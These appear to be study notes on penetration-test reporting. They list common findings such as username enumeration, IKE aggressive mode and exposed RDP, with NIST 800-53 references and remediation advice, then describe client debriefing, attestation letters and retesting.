Disable weak ciphers
NIST 800-53 IA-2(11)

Information Disclosure

System/Error/User information
mDNS disclose hostname/architecture
Server response headers reveal infrastructure
OWASP - Improper Error Handling

Username Enumeration

Login Portals may provide username enumeration
Forgot Password feature reveals valid email
Synchronize error messages ("check your email")

Default Web Pages

Unconfigured / Test pages left open
Shows weak security posture for the organization
Try to directory bust and find other misconfigurations
Remove unused web app or add terms or service/other info

IKE Aggressive Mode

Aggressive mode allows for capture of VPN Pre Shared Key and gain access ot network
Low likelihood but high impact
NIST 800-53 CM-7

Unexpected Perimeter Services

RDP. Telnet open from the internet
Note any services outward facing
Easily crackable

Insufficient Traffic Blocking

Is the site blocking traffic from random locations
https://shotsherpa.com
Limit attack surface and block odd traffic
NIST 800-53 CM-7

Undetected Malicious Activity

Did not detect scans, trojans,malware, etc used during testing
Review SIEM strategy and make inprovements
Low-informational
List attacks missed and detected

Historical Account Compromise

Users and Passwords found in Breaches
HIGH-Critical
Review who is current employee, add passwords to deny list, users should not register for accounts with work email, avoid password reuse
NIST 800-53 MA-6
NIST 800-53 SI-2

Client Debriefing

Review report in PDF or Powerpoint
Talk about findingd at 30,000ft
Common Issues

Tell story
Our job is to find bugs before the bad guys do
Occasionally may get pushback. Handle the adversity

Attestation Letter

A Proof of services rendered (Copy / Paste of Executive Summary)
Overall summary and conclusion
Client Retesting
    Going back to test remediations made from findings
    If it was fixed, Good job, but do not remove. Mark it as remediated
    Project is not done until you retest